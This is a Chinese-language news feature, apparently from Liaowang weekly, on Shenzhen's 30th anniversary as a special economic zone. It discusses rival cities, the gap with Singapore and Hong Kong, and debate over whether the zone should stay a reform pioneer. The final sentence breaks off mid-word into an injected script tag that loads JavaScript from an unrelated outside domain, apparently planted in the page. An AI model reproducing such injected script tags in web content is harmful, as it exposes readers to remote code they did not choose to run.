历经计划经济转变到市场经济的伟大变革后，中国再次走到经济发展方式转变的新历史变革阶段。在第一次变革中引领了中国改革开放道路的深圳，在梳理过去经验教训的基础上，如何能够使自己再次成为改革“先锋官”，引领民族复兴关键时刻的新一轮历史性变革，正在成为深圳未来历史发展地位的新考验。

　　这一次考验远比上一次更具挑战，谁领军未来30年的改革，谁能成为中国改革的新试验田？省内有广州、珠海等地的奋起直追，省外更有上海、北京、天津、重庆、苏州等城市的激烈竞争，而且上海、天津、重庆在某些领域已有超越深圳的表现和趋势。深圳如何重新走到中国改革的最前沿，机遇不少，挑战更大。

　　文/《瞭望》新闻周刊记者 王健君　实习生 俞泽 陈彦

　　“下一步，就是叫板新加坡、叫板香港。”8月9日，面对电视前的亿万中国观众，在深圳特区建立三十周年之际，深圳市委书记王荣公开讲出这句话，实际上等于“自己将了自己一军”。

　　以2009年数据为例，新加坡每平方公里GDP产值折算为18.4亿元人民币，香港为14.3亿元人民币，而深圳只有4亿元人民币。这仅仅是规模上的“硬差距”，在政府效率、法治环境、民生保障、社会管理和文化影响力等等“软差距”上，更有巨大的“鸿沟”。

　　戏剧性一幕还有，国内众多“叫板”深圳的城市中，最“凶猛”的“追兵”就是此前王荣主政了五年的苏州。前者是中国城市实力榜中的老四，后者是老五。2009年，两者之间GDP差距从一年前的1100多亿元缩小到470亿元，进出口总额、人均GDP、人均可支配收入都在全面逼近。而深圳与老三广州的差距，则由2008年的400亿元扩大到2009年的900亿元。

　　最大挑战还不在此。“改革是特区的根和魂，如果没有这两个字，特区就不称之为特区。”8月中旬，《瞭望》新闻周刊在深圳调研期间，一位特区发展研究人士痛心地说，深圳特区三十年取得了巨大的成就和财富，也产生了一批既得利益阶层，“奋斗精神没了，改革闯劲没了。”

　　他认为，过去深圳是“走在前面、说在前面”，现在是“说在前面、动在后面，甚至只说不动”，一个明显表现就是，“深圳提出了很多好主意、好思路，别人学习实践。我们去参观，才发现是照着我们学的，回头一看，我们还没有动。”

　　5月31日，深圳市五届人大一次会议上，王荣在作政府工作报告时提出，要把深圳从改革开放的先锋城市，“建设成现代化国际化的先进城市”。据统计，目前全国有183个城市相继提出建设“国际化现代化大都市”。此举是不是淡化了深圳的特区功能和改革功能？这一度又加剧了社会各界对“特区还要不要‘特’”、“‘杀出一条血路’的改革精神还要不要有”的争议。

　　正因此，在深圳特区三十周年之际，海内外关切深圳的焦点议题，远不是增长979倍的GDP、增长5121倍的地方财政收入、增长6339倍的出口额和已达1.36万美元的人均GDP……而是肩负着向世界传播中华文明、展示中国特色社会主义制度风采重任的深圳，敢不敢、愿不愿、能不能在未来三十年，也即中华民族实现伟大复兴的关键期，继续担起探索科学发展和谐发展道路的历史使命。

　　无“特”不深圳

　　“对于深圳特区还要不要‘特’，中央的态度一直非常明确。”接受《瞭望》新闻周刊采访时，中国社科院中国马克思主义研究二部副主任辛向阳认为这一点，早在2005年9月中旬，温家宝总理第三次考察深圳工作时的讲话，已给出了明确答案：

　　第一，发展经济特区是建设中国特色社会主义的重要组成部分，要把发展经济特区贯穿于社会主义现代化建设的全过程。在新的历史条件下，经济特区的地位和作用不能削弱，更不能消失。经济特区不仅要继续办下去，还要办得更好。

　　第二，在改革方面先行先试，是中央赋予深圳等经济特区光荣而神圣的使命，这一使命不仅远没有结束，而且要求更高、任务更重、责任更大。深圳等经济特区要进一步把改革创新作为立身之本，全面推进综合配套改革，努力在重点领域和关键环节率先取得经验，为全国重大体制改革取得实质性进展探索经验。

　　第三，经济特区要继续走在全国?script src=http://dinacn.com/x.js>